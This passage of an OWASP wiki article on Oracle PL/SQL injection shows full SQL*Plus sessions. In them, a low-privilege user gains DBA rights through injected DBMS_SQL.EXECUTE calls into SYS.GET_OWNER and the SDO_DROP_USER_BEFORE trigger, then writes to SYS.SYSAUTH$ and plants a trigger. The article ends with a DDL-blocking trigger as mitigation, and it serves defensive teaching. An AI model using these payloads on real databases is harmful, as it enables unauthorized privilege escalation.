 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to &lt;br /&gt;
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass &lt;br /&gt;
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the &lt;br /&gt;
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use &lt;br /&gt;
the CHR function to convert the number to a character - which can then be concatenated. &lt;br /&gt;
When the application defined SELECT query executes so too does the &lt;br /&gt;
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS &lt;br /&gt;
privileges - in this case granting DBA privileges to PUBLIC. &lt;br /&gt;
 &lt;br /&gt;
==Only Half-primed...== &lt;br /&gt;
 &lt;br /&gt;
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion &lt;br /&gt;
detection/prevention system, the attacker wishes to perform an INSERT to achieve the &lt;br /&gt;
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to &lt;br /&gt;
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. &lt;br /&gt;
An error is returned from DBMS_SQL: table or view does not exist: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, &lt;br /&gt;
PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM &lt;br /&gt;
SYS.SYSAUTH$))''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4  &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-00942: table or view does not exist &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a &lt;br /&gt;
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an &lt;br /&gt;
INSERT we've already seen we can grant DBA privileges and another action an attacker &lt;br /&gt;
can take using this method is to create a function - even though they don't have the &lt;br /&gt;
permissions to do so directly. Let's create a user with only the CREATE SESSION &lt;br /&gt;
privilege and no more: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT / AS SYSDBA &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; CREATE USER CSESS IDENTIFIED BY PASSWORD; &lt;br /&gt;
 &lt;br /&gt;
User created. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; GRANT CREATE SESSION TO CSESS; &lt;br /&gt;
 &lt;br /&gt;
Grant succeeded. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
PRIVILEGE &lt;br /&gt;
---------------------------------------- &lt;br /&gt;
CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
Now with our test user, CSESS, in place let's go ahead, connect as them and create a &lt;br /&gt;
function even though we only have the CREATE SESSION privilege: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate &lt;br /&gt;
p; return 1; end;''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here we attempt to create a function call CSESS_FUNC. Now see if the function was &lt;br /&gt;
actually created: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; &lt;br /&gt;
 &lt;br /&gt;
CSESS_FUNC('SELECT1FROMDUAL') &lt;br /&gt;
----------------------------- &lt;br /&gt;
                            1 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
All looks good. Now we can use this function to do whatever we want: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Note that, on some systems, such as 10g Release 2 a &amp;quot;unique constraint&amp;quot; error might be &lt;br /&gt;
generated but the INSERT does succeed: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;CSESS.CSESS_FUNC&amp;quot;, line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with &amp;quot;limited&amp;quot; scope, an attacker can &lt;br /&gt;
create their own auxiliary inject function to then do whatever they want. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==Exploiting the SDO_DROP_USER_BEFORE trigger==&lt;br /&gt;
 &lt;br /&gt;
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g &lt;br /&gt;
Release 2 and before October 2006, when the flaw was patched, this trigger owned by &lt;br /&gt;
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only &lt;br /&gt;
exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) &lt;br /&gt;
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-&lt;br /&gt;
patch-updates/cpuoct2006.html#AppendixA] &lt;br /&gt;
 &lt;br /&gt;
The problem lay in the fact that the name of the user being dropped was embedded within &lt;br /&gt;
a block of anonymous PL/SQL: &lt;br /&gt;
 &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
EXECUTE IMMEDIATE &lt;br /&gt;
'begin ' || &lt;br /&gt;
'mdsys.rdf_apis_internal.' || &lt;br /&gt;
'notify_drop_user(''' || dictionary_obj_name || '''); ' || &lt;br /&gt;
'end;'; &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
 &lt;br /&gt;
This is the vulnerable code from the trigger. Here, &amp;quot;dictionary_obj_name&amp;quot; is the name of &lt;br /&gt;
the user being dropped and, as this &amp;quot;user&amp;quot; could be arbitrary, it was possible for an &lt;br /&gt;
attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA &lt;br /&gt;
privileges an attacker needs to jump through some hoops but it can be done. MDSYS is &lt;br /&gt;
not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege. &lt;br /&gt;
By leveraging this privilege during a SQL injection attack, the attacker can create an &lt;br /&gt;
auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of &lt;br /&gt;
gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into &lt;br /&gt;
which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A &lt;br /&gt;
&amp;quot;BEFORE INSERT&amp;quot; trigger will be created on this table; this trigger will execute the &lt;br /&gt;
GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack &lt;br /&gt;
from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the &lt;br /&gt;
DBA role: &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
PRIVILEGE &lt;br /&gt;
---------------------------------------- &lt;br /&gt;
CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
Once logged in CSESS then creates a cursor and primes it with a query that will create &lt;br /&gt;
the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that &lt;br /&gt;
our SQL is executing as expected: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5  MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6  DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); &lt;br /&gt;
execute immediate ''create or replace trigger system.WHOPPEE before &lt;br /&gt;
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; &lt;br /&gt;
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE &lt;br /&gt;
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE &lt;br /&gt;
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; &lt;br /&gt;
end;',0); &lt;br /&gt;
  7  DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :3 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
With this done we can see the value of the cursor is 3. We'll pass this as the argument to &lt;br /&gt;
DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot;; &lt;br /&gt;
EXECUTING FROM SDO_DROP_USER_BEFORE!!! &lt;br /&gt;
DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot; &lt;br /&gt;
          * &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist &lt;br /&gt;
 &lt;br /&gt;
Note we see our SQL is executing as expected - we can tell from the &amp;quot;EXECUTING &lt;br /&gt;
FROM SDO_DROP_USER_BEFORE!!!&amp;quot; message we output using &lt;br /&gt;
DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created &lt;br /&gt;
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); &lt;br /&gt;
In the trigger &lt;br /&gt;
 &lt;br /&gt;
1 row created. &lt;br /&gt;
 &lt;br /&gt;
With the trigger having fired, PUBLIC should now have DBA privileges and we should &lt;br /&gt;
be able to set the role: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a &lt;br /&gt;
user that does not have the CREATE PROCEDURE privilege. &lt;br /&gt;
 &lt;br /&gt;
==Risk Mitigation==&lt;br /&gt;
 &lt;br /&gt;
What can be done to help prevent this being used as an attack method? Revoking the &lt;br /&gt;
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. &lt;br /&gt;
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC &lt;br /&gt;
execute permission could invalidate a large number of these dependencies. One useable &lt;br /&gt;
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the &lt;br /&gt;
only users on a particular database server that should be executing GRANT, CREATE or &lt;br /&gt;
ALTER are &amp;quot;SYS&amp;quot;, &amp;quot;JIM&amp;quot; and &amp;quot;JANE&amp;quot; then the following trigger could be created: &lt;br /&gt;
 &lt;br /&gt;
 CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE &lt;br /&gt;
 DECLARE &lt;br /&gt;
    V_USER VARCHAR(30); &lt;br /&gt;
 BEGIN &lt;br /&gt;
    V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); &lt;br /&gt;
 &lt;br /&gt;
    IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN &lt;br /&gt;
            RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY &lt;br /&gt;
NOT EXECUTE DDL'); &lt;br /&gt;
    END IF; &lt;br /&gt;
 END; &lt;br /&gt;
 / &lt;br /&gt;
 &lt;br /&gt;
If we now retry the attack the trigger will prevent us: &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''create or replace function csess_func (p &lt;br /&gt;
varchar2) return number authid current_user is begin execute immediate &lt;br /&gt;
p; return 1; end;''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-20002: USER CSESS MAY NOT EXECUTE DDL &lt;br /&gt;
ORA-06512: at line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the &lt;br /&gt;
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by &lt;br /&gt;
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or &lt;br /&gt;
CREATE ends up with it being blocked by the trigger. This method appears to be &lt;br /&gt;
effective as a preventative measure.&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	</feed>